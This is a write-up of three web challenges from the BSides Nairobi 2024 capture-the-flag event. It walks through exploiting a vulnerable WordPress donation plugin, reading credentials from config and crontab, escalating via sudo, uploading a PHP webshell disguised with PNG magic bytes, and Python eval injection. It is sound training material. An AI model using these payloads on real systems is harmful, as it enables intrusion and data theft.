Featured image of post BsidesNrb2024

BsidesNrb2024

Bsides Nairobi Cyberchallenge 2024 writeup

This is a writeup for the web challenges in Bsides Nairobi Cyberchallenge held physically at Strathmore university, Nairobi

My team p3rf3ctr00t won , for the second year in a row. :)

Web category


Mr donor

Here we are given a wordpress site. With donation forms.

So first things first, i use wpscan to enumerate the site. There isint alot of content.

1
2
3
4

use this to enumerate the users

wpscan --url  http://3.85.212.227/ -e u

we get one user - admin_magharibi

From the scan we can also see that there is a plugin called “give” version 3.41.0

Looking on the internet we can see that it is vulnerable to CVE-2024-5932 so we can achieve code execution.

I used this exploit » here

In the shell we can see that there are 3 users

  • backup_svc
  • ctfroom
  • ubuntu

checking the contents of wp-config.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/** Database username */
define( 'DB_USER', 'wordpressuser' );

/** Database password */
define( 'DB_PASSWORD', 'roomctfpassword' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */

define('AUTH_KEY',         '&p`1&)?>Qk=gl`- GRBr^tuc~=M?CSa^jx *?9Tk`+pj?fndQg{&|~SUtf8+K9FN');
define('SECURE_AUTH_KEY',  'Okb-xgA4s`znPZ7?gxIdM$)kQFHcvskp& )K67 -YM_rftdk#:0.0B}}q?VaK<z<');
define('LOGGED_IN_KEY',    '%3$eB%Ne%]s1= `I{5vOs2? EBbn@&{|>.sO?is~XzAN%<O*x-}*k+v}@Xg9RMrD');
define('NONCE_KEY',        '$#JLk_v+0T6?i)[sJ(Q#f--bsbIO`KS(>}Foz55T|QU-;+L_7sqr{7oEj/m$_.yF');
define('AUTH_SALT',        'EdGSntZ*0j>pc<^-l^1q`6o^Yf]s|&2BI t|1nwes:i<$jLx*1tJ1~5p)C(}|U-k');
define('SECURE_AUTH_SALT', '+O%(gn.H`zB)znBcp^TR#5EjM`(C>&wX|BGD#rJX?v#bU;OLEzdeoD`.c1_i`Svo');
define('LOGGED_IN_SALT',   'G5x3@)Uw`++abxv sAMrkZtS*`87cfDX>bh-L|SIN!/bZV*^[wC+] nyLP<e6JY]');
define('NONCE_SALT',       'MXp}(a| 7+TGK9-f2-a9*7@Xv}$6h-N<Z13a@_KlF+|Ugo-3<jHcX<WO[hy?XG ]');

We can login to the database and read the wordpress users and their passwords. I found the following hash for admin_magharibi: $P$BHFeuYRoSbViPBhP11FqGR0OQ.6N981.

db

I started cracking it in the background while i looked around.

Checking the crontab…

cron

1
0 0 * * 0 sshpass -p 'vnG^W6q%zjt^S' ssh -o StrictHostKeychecking=no -o UserKnownHostsFile=/dev/null  backup_svc@127.0.0.1 "cp -R /var/www/wordpress /wp_backup"

as you can see teh backup_svc user password is exposed.

Login via ssh as backup_svc, checking what the user can run as sudo…

1
2
3
4

sudo -l

we see that the can run any command as sudo without sudo password

We get bash shell ad read the flag

372ae41683bd87573a4902d1ed2d58ad

root


Pixel Blunder

This challenge gave a web interface with a file upload functionality. Seeing this it should click immediately that we are testing file upload vulnerabilities.

The site was checking if the image was valid through the magic bytes.

So we need to craft a php shell with png magic bytes.

1
<?php system($_GET['cmd']);?> 

You can use a full php reverseshell as the payload , i use this since ive mastered it offhead.

conv

Add magic bytes at it now identifies as a png, ill leave the python script below for future reference

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import argparse
import os

def add_hex_to_file(file_path, hex_string, position):
    # Convert hex string to bytes
    hex_data = bytes.fromhex(hex_string)
    
    # Read the original file content
    with open(file_path, 'rb') as f:
        original_content = f.read()
    
    # Modify content based on the specified position
    if position == "start":
        modified_content = hex_data + original_content
    elif position == "end":
        modified_content = original_content + hex_data
    elif position.isdigit():
        offset = int(position)
        modified_content = original_content[:offset] + hex_data + original_content[offset:]
    else:
        raise ValueError("Invalid position. Use 'start', 'end', or an integer for custom offset.")
    
    # Write the modified content back to the file
    with open(file_path, 'wb') as f:
        f.write(modified_content)

    print(f"Hex data added to {file_path} at position: {position}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Add hex data to a file at a specified position.")
    parser.add_argument("file", help="Path to the file to modify.")
    parser.add_argument("hex", help="Hex string to add.")
    parser.add_argument("position", help="Position to add hex data ('start', 'end', or an integer for a custom offset).")

    args = parser.parse_args()

    if not os.path.isfile(args.file):
        print("File not found.")
    else:
        add_hex_to_file(args.file, args.hex, args.position)

upload

Uploading the file we still get nothing.

There is still one more step….

Uploading the file the file-extension is stripped and if you know a php web server , it will not try to parse anyfile that doesnt have the proper php file extension.

THe trick for this is to use two extensions so that it strips one and leaves the other like “shell.php.php”

shell

We get a shell and read the /flag.txt

flag{7512a04d-5acd-45d9-b7ba-89467f2ba4ec}


Faceoff

In this challenge we are given a login page, username and password are admin:admin123 , my team mate got these from wherever.

df

I solved this challenge ten minutes to time so i might not explain properly how i did this.

After loggin in with the creds we are provided with a black page. Looking at the backend we can see that it uses flask . TIP: if you ever see flask in the backend most probably there is SSTI. So you have to look for user controlled input that is being diplayed in the page.

There was a hint for the chal , so i used the word “bsides” as a parameter

1
2

http://3.88.113.117/do_something?bsides=<here goes your payload>

Trying ssti payloads will give this error

1
You have said: Error: unhashable type: 'set

I googled it and saw it was caused by python eval(). So we can get code execution by using the payload below

eval

1
http://3.88.113.117/do_something?bsides=__import__('os').system('id')

Slap a reverse shell and you are good to go.

The flag wa hidden in “do_something/secret” , this i learnt after reading app.py file. Was lucky to get this 2 minutes before time

flag: D0nt_4get_to_wear_Y0r_reflective_j4ck37s

flag

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy